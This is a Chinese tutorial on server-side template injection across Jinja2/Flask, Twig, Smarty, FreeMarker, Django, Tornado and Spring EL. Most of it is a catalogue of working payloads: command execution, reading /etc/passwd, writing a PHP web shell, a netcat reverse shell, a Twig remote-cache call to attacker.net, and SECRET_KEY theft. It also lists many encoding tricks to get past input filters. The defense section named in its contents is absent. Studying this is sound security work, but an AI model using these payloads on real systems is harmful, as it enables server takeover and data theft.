SSTI漏洞详解

目录

前备知识

模块引擎:

模块渲染函数:

继承关系:

SSTI漏洞简介

SSTI漏洞成因

SSTI漏洞原理

一些常见模块介绍

php Twig模块引擎 代码演示1

Twig模块引擎代码演示2

python flask模块 代码演示1:

python jinja模块 代码演示2:

java  演示:

漏洞检测

攻击利用

1.攻击方向:

2.攻击方法

1.利用模块自身的特性进行攻击实例:

1.smaity

2.Twig模块

3.freeMarker

2.利用框架本身的特性进行攻击

1.Diango

2.Flask/Jinja2

3.Tornado

3.利用模语言本身的特性进行攻击

1.python

2.java

payload大全

Bypass

绕过.

1.使用中括号[]绕过

2.使用attr()绕过

绕过单双引号

1.request绕过

2.chr绕过

关键字绕过

绕过init

Jinjia2使用过滤器绕过:

防御方法

参考文章


前备知识

模块引擎:

模板引擎是一种将数据和模板结合起来动态生成 HTML 页面的工具。通常我们会使用相关模块来美化我们的博客,提高文章表面的质量,模块引擎就可以将我们所要传输的数据和模块整合,已达到我们的目的。

模块渲染函数:

python主要有两种模板渲染函数,render_template_string()与render_template(),其中render_template是用来渲染一个指定文件的。render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞。

继承关系:

类之间的继承关系,后面再构造python payload时,常会用到

魔术方法
 上面用的魔术方法这里总结一下,其他更多的魔术方法之后在补充一下

__class__:表示实例对象所属的类。__base__:类型对象的直接基类。__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。__mro__:一个由类组成的元组,在方法解析期间用于查找基类。__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。__init__:初始化类的构造函数,返回类型为function的方法。__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。__str__():返回描述该对象的字符串,通常用于打印输出。url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。current_app:应用上下文的全局变量。request:用于获取绕过字符串的参数,包括以下内容:- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。

  创建四个类、其中B继承A、C继承B、D继承C。

class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
d=D()
print(d.__class__)                                    //<class '__main__.D'>
print(d.__class__.__base__)                           //<class '__main__.C'>
print(d.__class__.__base__.__base__)                  //<class '__main__.B'>
print(d.__class__.__base__.__base__.__base__)         //<class '__main__.A'>
print("#"*30)
print(d.__class__.__mro__)                            //(<class '__main__.D'>, <class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
print(d.__class__.__mro__[3])                         //<class '__main__.A'>,索引第一个位[0],也就是本类
print(d.__class__.__mro__[4].__subclasses__())        //这里会显示 <class 'object'>类所有子类
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}  //执行命令'whoami',后面会讲原理

 下面就是object主类的所有子类,其中就包含A类,不过太多了此处也只是一部分,主要是为了方便演示

 但是我们在进行构造的时候是无法自己创建类的,此时我们就要用到一些符号来构造。

print([].__class__)                    
print([].__class__.__base__)此处[]还可以替换为()、''、""、{}等符号

 如下图就可以找到主类


 

SSTI漏洞简介

SSTI(Server-Side Template Injection)就是服务器端模板注入。利用该漏洞可用于直接攻击web服务器的内部。

SSTI漏洞成因

当在使用模块时,开发者未对用户的输入进行限制,此时攻击方就可以针对不同的模块,插入相关代码,来进行文件读取、命令执行等

SSTI漏洞原理

服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.

【补充】

单纯的字符串拼接并不能带来注入问题,关键要看你拼接的是什么,如果是控制语句,就会造成数据域与代码域的混淆,这样就会出洞

一些常见模块介绍

PHP:
1.Smarty:Smarty是PHP语言中广泛使用的模板引擎,它提供了强大的模板分离和逻辑控制功能。

2.Twig:Twig是一个现代化的PHP模板引擎,被广泛用于Symfony框架等PHP应用程序中。

3.Blade:Blade是Laravel框架的默认模板引擎,它提供了简洁的语法和强大的模板继承特性。

Java:
1.Thymeleaf:Thymeleaf是一种现代化的Java服务器端模板引擎,广泛应用于Spring框架等Java Web应用。

2.FreeMarker:FreeMarker是Java语言中流行的模板引擎,具有灵活的语法和强大的自定义标签功能。

3.Mustache:Mustache是一种简单而功能强大的模板语言,支持多种编程语言,包括Java。

4.JSP:没想到,这个专有名词不仅是文件格式,也可以是java的模块

5.Velocity:Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

Python:
1.Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。

2.Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。

3.Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。

4.tornado:tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

php Twig模块引擎 代码演示1

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值
echo $output;

上述情况,用户的输入到渲染的变量为name,但由于name外已经有{{}}了,当你输入{{7*7}}后,输入的还是{{7*7}},对模块并无影响,所以我们就无法进行漏洞,是一段安全代码

Twig模块引擎代码演示2

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}");  // 将用户输入作为模版内容的一部分
echo $output;

此段代码虽然name外也有{},但是此处的括号实际上只是为了区分变量和字符串常量而已,所以此时我们输入{{7*7}},就被加载到模块内部,服务器一解析,就进行了代码执行--输出49。再进一步利用,服务器就多半没了

python flask模块 代码演示1:

@app.errorhandler(404)
def page_not_found(e):template = '''{%% extends "layout.html" %%}
{%% block body %%}<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div>
{%% endblock %%}
''' % (request.url)return render_template_string(template), 404

上面是一段经典的flask代码,虽然此处并没有使用任何变量,也就是纯纯的代码块,但是由于此处还是利用了flask模块去渲染了的,也逃不出被利用,此处我们只需要在URL后面跟上{{7*7}},网页就会自然而然的返回49的结果。

python jinja模块 代码演示2:

# coding: utf-8
import sys
from jinja2 importTemplatetemplate = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

利用如上述,URL后加{{7*7}},被模块执行,页面返回49

java  演示:

哭死!!!我还不太会java,此处是一个经典的漏洞复现,直接上链接了

漏洞分析:https://paper.seebug.org/70/

漏洞检测

跟sql和xss注入的检测方式相差无二,都是注入点,并尝试各种payload,如果有代码执行的回显,则存在漏洞,后面利用漏洞时payload也要根据模块的不同格式而改变。

【补充】:有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如
有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤

此处附上大牛写的ssti漏洞的检测工具:

GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool

关于我们如何黑盒判断模块,可以参考下图:

攻击利用

判断之后我们就可以针对模块,进行攻击利用

1.攻击方向:

找到模板注入主要从三个方向进行攻击

(1)模板本身
(2)框架本身
(3)语言本身
(4)应用本身

2.攻击方法

我们虽知SSTI带来的危害有,敏感信息透露、getshell、rce等,但是关键在于我们应对该注入点插入怎么样的代码才能达到目的,此时我们就要根据模块而定了,我们要查看该模块支持的语内置变量、属性、函数、还有纯粹框架的全局变量、属性、函数,然后我们考虑语言本身的特性,比如面向对象的内省机制,最最最后我们无能为力的时候才考虑怎么寻找利用该模块应用定义的一些东西,因为这个是几乎没有文档的,是开发者的自行设计,一般需要拿到应用的源码才能考虑,于是我将其放在最后一个。

【补充】:在这种面向对象的语言中,获取父类这种思想要贯穿始终,其中理论基础就是python的魔术方法、php的自省以及java的反射机制

1.利用模块自身的特性进行攻击实例:

1.smaity

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的好用的方法

比如:getStreamVariable()

github 中明确指出,这个方法可以获取传入变量的流(说人话就是读文件)

payload:

{self::getStreamVariable("file:///proc/self/loginuid")}

再比如:class Smarty_Internal_Write_File

有了上面的读文件当然要找一个写文件的了,这个类中有一个writeFile方法

函数原型:

public function writeFile($_filepath, $_contents, Smarty $smarty)

但是这个第三个参数是一个smarty类型,后来找到了self::clearConfig()

函数原型

public function clearConfig($varname = null)
{return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

能写文件对攻击者真的是太有利了,一般不出意外能直接 getshell

payload:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

2.Twig模块

相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是 通过官方文档的查询,我们可以使用_self,虽然_self本身没有什么有用的方法,但是却有一个env

env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig 的源码中的 environment.php,大概就是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞:

payload:

{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

但是有个问题,allow_url_include一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()

这个函数中调用了一个call_user_function方法

public function getFilter($name)
{[snip]foreach ($this->filterCallbacks as $callback) {if (false !== $filter = call_user_func($callback, $name)) {//注意这行return $filter;}}return false;
}public function registerUndefinedFilterCallback($callable)
{$this->filterCallbacks[] = $callable;
} 

我们只要把exec() 作为回调函数传进去就能实现命令执行了

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

3.freeMarker

这个模板主要用于 java ,可以按照 查找文档,查看框架源码,等方式寻找这个 payload 的思路来源

paylaod:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

2.利用框架本身的特性进行攻击

因为这里面的mobel模板似乎都是内置于框架内的,于是我就将其放在利用框架这一节

1.Diango

def view(request, *args, **kwargs):template = 'Hello {user}, This is your email: ' + request.GET.get('email')return HttpResponse(template.format(user=request.user))

显而易见,此处的注入点就是email,但是如果我们的能力已经被限制死了,很难执行命令,但是又想获取和User有关的配置信息,我们该怎么办?

可以发现我们现在拿到的只有一个和User有关的变量,那就是request user,那我们的思路是什么?

P牛在自己的博客中分享了一个思路,我们把它引用过来:

Django是一个庞大的框架,其数据库关系错综复杂,我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架,在没有目标源码的情况下很难去挖掘信息,所以我的思路就是:去挖掘Django自带的应用中的一些路径,最终读取到Django的配置项

大概什么意思呢?就是我们在没有应用源码的情况下要学会去寻找框架本身的属性,看到这个空框架有什么属性和类之间引用,然后一步一步的靠近我们的目标

后来我们发现,经过翻找,发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

此时我们的思路就比较明确了:我们只需要通过某种方式,找到Django默认应用的admin的model,再通过这个model获取setting对象,进而获取数据库密码、web加密密钥等信息。

payload:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

2.Flask/Jinja2

config是Flask模版中的一个全局对象,他代表"当前配置对象(flask.config)",它是一个类字典的对象,它包含了所有应用程序的配置值。在多数情况下,它包含了比如数据库链接的字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典的对象,但是通过查阅文档可以发现config有很多神奇的方法:from_envvar、from_boject,from_pyfile,以及root_path。

我们可以使用from_pyfile来进行命令执行

{{ from_pyfile('/etc/passwd') }} //读取/etc/passwd文件{{ from_pyfile('__import__("os").system("whoami")') }}  //执行whoami指令

还可以使用from_object来进行命令执行

{{ from_object(os).system('whoami') }}{{ from_object(__import__('os')).system('whoami') }}

两个函数的源代码如下

def from_pyfile(self, filename, silent=False):filename = os.path.join(self.root_path, filename)d = types.ModuleType('config')d.__file__ = filenametry:with open(filename) as config_file:exec(compile(config_file.read(), filename, 'exec'), d.__dict__)except IOError as e:if silent and e.errno in (errno.ENOENT, errno.EISDIR):return Falsee.strerror = 'Unable to load configuration file (%s)' % e.strerrorraiseself.from_object(d)return Truedef from_object(self, obj):if isinstance(obj, string_types):obj = import_string(obj)for key in dir(obj):if key.isupper():self[key] = getattr(obj, key)

将传入的文件使用 compile() 这个python 的内置方法将其编译成字节码(.pyc),并放到 exec() 里面去执行,注意最后一个参数 d.__dict__翻阅文档发现,这个参数的含义是指定 exec 执行的上下文

import os
import sysfile_path = sys.argv[1]with open(file_path, 'r') as f:source = f.read()code_obj = compile(source, '<string>', 'exec')exec(code_obj, d.__dict__)

执行的代码片段被放入了 d.__dict__ 中,这看似没设么用,但是神奇的是后面他调用了 from_object() 方法,根据源码

for key in dir(obj):if key.isupper():self[key] = getattr(obj, key)

这个方法会遍历 Obj 的 dict 并且找到大写字母的属性,将属性的值给 self[‘属性名’],所以说如果我们能让 from_pyfile 去读这样的一个文件

from os import system
SHELL = system

到时候我们就能通过 config[‘SHELL’] 调用 system 方法了

那么文件怎么写入呢?Jinja2 有沙盒机制,我们必须通过绕过沙盒的方式写入我们想要的文件,具体的沙盒绕过可以参考一篇博文python 沙盒逃逸备忘

得到最终的payload

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL

3.Tornado

以护网杯的一道tornado的SSTI为例,该题是通过SST来获取cookie_secret,其中的过滤有

"%'()*-/=[\]_|

 甚至把_(下划线)都过滤了,也就是说我们没法通过Python 的魔法方法进行沙盒逃逸执行命令,并且实际上对我们的寻找合适的 tornado 的内置的方法也有很多的限制。

我觉得除了直接阅读官方的文档,还有一个重要的方法就是直接下载 tornado 的框架源码,全局搜索 cookie_secret

cookie_secret 是handler.application.settings 的键值,那我们只要获取到这个对象是不是就可以了,没错,那么 handler 是什么,看官方文档,我特地看一下模板的对框架的语法支持(因为,模板中有一些内置的对象等同于框架中的对象,但是一般为了方便书写前段就会给一个比较简单的名字,就比如 JSP 的 request 内置对象实际上对应着 servlet 中的 HttpServletRequest )

handler 对应的就是 RequestHandler,那么也就是说,我们可以使用 handler 调用 RequestHandler 的方法,我们还是看官方文档

RequestHandler.settings 是 self.application.settings 的别名,等等! 有没有觉得有些似曾相识?对啊,这不就是我们之前在框架源码中找到的那个东西吗,也就是说我们能直接通过 handler.settings 访问到 我们朝思暮想的 cookie_secret ,至此我的分析就结束了。

payload:

http://117.78.26.79:31093/error?msg={{handler.settings}}

3.利用模语言本身的特性进行攻击

1.python

Python 最最经典的就是使用魔法方法,这里就涉及到Python沙盒绕过了,前面说过,模板的设计者也发现了模板的执行命令的特性,于是就给模本增加了一种沙盒的机制,在这个沙盒中你很难执行一般我们能想到函数,基本都被禁用了,所以我们不得不使用自省的机制来绕过沙盒,具体的方法就是在一篇博文中

2.java

java.lang包是java语言的核心,它提供了java中的基础类。包括基本Object类、Class类、String类、基本类型的包装类、基本的数学类等等最基本的类

payload:

${T(java.lang.System).getenv()}${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

当然要是文件操作就要用另外的类了,思路是不变的

payload:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

【注】:这里面的 T() 是 EL 的语法规定(比如 Spring 框架的 EL 就是 SPEL)

payload大全

因为python是最常见的,这里payload主要针对python

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

Bypass

绕过.

1.使用中括号[]绕过

{{().__class__}} 
可替换为:
{{()["__class__"]}}举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2.使用attr()绕过

attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

{{().__class__}} 
可替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

绕过单双引号

1.request绕过

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

2.chr绕过

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。

关键字绕过

1.使用切片将逆置的关键字顺序输出,进而达到绕过。

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用"+"进行字符串拼接,绕过关键字过滤。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}

3.join拼接

利用join()函数绕过关键字过滤

{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

4.利用引号绕过

{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

5.使用str原生函数replace替换

将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

6.ascii转换

将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16进制编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

同理,也可使用八进制编码绕过

8.base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

9.unicode编码绕过

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

10.Hex编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

绕过init

可以用__enter____exit__替代__init__

{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

Jinjia2使用过滤器绕过:

在 JinJa2 中内置了很多过滤器,变量可以通过过滤器进行修改,过滤器与变量之间用管道符号|隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号|连接多个过滤器,一个过滤器的输出应用于下一个过滤器。
内置过滤器列表如下:

abs()forceescape()map()select()unique()
attr()format()max()selectattr()upper()
batch()groupby()min()slice()urlencode()
capitalize()indent()pprint()sort()urlize()
center()int()random()string()wordcount()
default()items()reject()striptags()wordwrap()
dictsort()join()rejectattr()sum()xmlattr()
escape()last()replace()title()filesizeformat()
length()reverse()tojson()first()list()
round()trim()float()lower()safe()
truncate()

其中常见过滤器用法如下:

abs()
  返回参数的绝对值。
attr()
  获取对象的属性。foo|attr("bar") 等价于 foo.bar
capitalize()
  第一个字符大写,所有其他字符小写。
first()
  返回序列的第一项。
float()
  将值转换为浮点数。如果转换不起作用将返回 0.0。
int()
  将值转换为整数。如果转换不起作用将返回 0。
items()
  返回一个迭代器(key, value)映射项。

其他用法详见官方文档:

Template Designer Documentation - Jinja Documentation (3.2.x)

使用过滤器构造Payload,一般思路是利用这些过滤器,逐步拼接出需要的字符、数字或字符串。对于一般原始字符的获取方法有以下几种:

{% set org = ({ }|select()|string()) %}{{org}}
# <generator object select_or_reject at 0x0000020B2CA4EA20>
{% set org = (self|string()) %}{{org}}
# <TemplateReference None>
{% set org = self|string|urlencode %}{{org}}
# %3CTemplateReference%20None%3E
{% set org = (app.__doc__|string) %}{{org}}
# Hello The default undefined type.  This undefined type can be printed and
#    iterated over, but every other access will raise an :exc:`UndefinedError`:
#
#     >>> foo = Undefined(name='foo')
#     >>> str(foo)
#     ''
#     >>> not foo
#     True
#     >>> foo + 42
#     Traceback (most recent call last):
#       ...
#     jinja2.exceptions.UndefinedError: 'foo' is undefined
{% set num = (self|int) %}{{num}}
